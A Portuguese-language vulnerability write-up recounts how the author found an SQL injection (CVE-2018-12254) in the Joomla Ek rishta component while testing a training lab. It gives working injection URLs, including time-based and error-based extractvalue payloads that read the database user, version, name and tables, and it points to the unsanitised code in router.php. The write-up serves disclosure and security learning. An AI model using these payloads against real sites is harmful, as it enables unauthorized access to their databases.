CVE-2018-12254 - Sql Injection Joomla Ek rishta Component
A vulnerabilidade foi encontrada de uma forma um pouco inusitada. A alguns dias o Daybson estava subindo um laboratório de teste novo, para o curso de Pentest Profissional da Desec Security, quando me chamou para testa-lo, eu em particular não sabia que vulnerabilidade havia no laboratório, apenas loguei e fui testar. Notei que eu tinha o nome do usuário na seguinte url(index.php/home/requested_user/Sent%20interest/corp
) e me pareceu um pouco estranho, talvez fosse gerado um novo arquivo durante o registro ou algo assim, mas na verdade notei que aquilo não era um arquivo, era realmente um parâmetro da url.
O teste inicial logicamente foi adicionar uma aspas simples e ver o que iria me retornar:
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20a%23
Então, seguindo o erro, temos um Sql Injection aqui!
Fazendo mais um teste para confirmar, conseguimos ter a certeza disso:
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20sleep(5)%23
Até este ponto estava tudo bem, porém notei uma limitação ao tentar dumpar a db no modo clássico, até mesmo usando blind. Me pareceu estranho não conseguir resposta para algumas querys, porém, entendi que eu estava limitado, fazendo algumas pesquisas vi que a maneira seria fazer o dump usando error based com XPATH Injection.
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,user())%20%23
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,version())%20%23
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20database())))%20%23
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20table_name%20from%20information_schema.tables)))%20%23
Bom, a partir deste ponto, a melhor forma seria criar um script para fazer o dump!
Depois disso, eu ainda assim fiquei curioso para saber como que o componente estava capturando esta parte da url, então baixei o código dele e vasculhei até encontrar o seguinte trecho:
router.php
Fazendo uma analise rápida, sabemos que o $c_id
esta capturando o segmento que está o nosso nome de usuário e adicionando ele a um array ($vars
), podemos basicamente adivinhar que a função EkrishtaUsrID()
está buscando o nosso id ou o nome do usuário no banco de dados, mas vamos ver o que realmente ela está fazendo.
Fazendo uma procura pela função EkrishtaUsrID()
, encontrei ela presente no mesmo arquivo e é possível ver que que existe uma falta de sanitização nas linhas 295
e 305
.
Para finalizar a história, a vulnerabilidade que eu encontrei não estava dentro daquilo que estava programado para o laboratório e também não estava assinada ou relacionada a qualquer outra descoberta, então peguei uma cve :).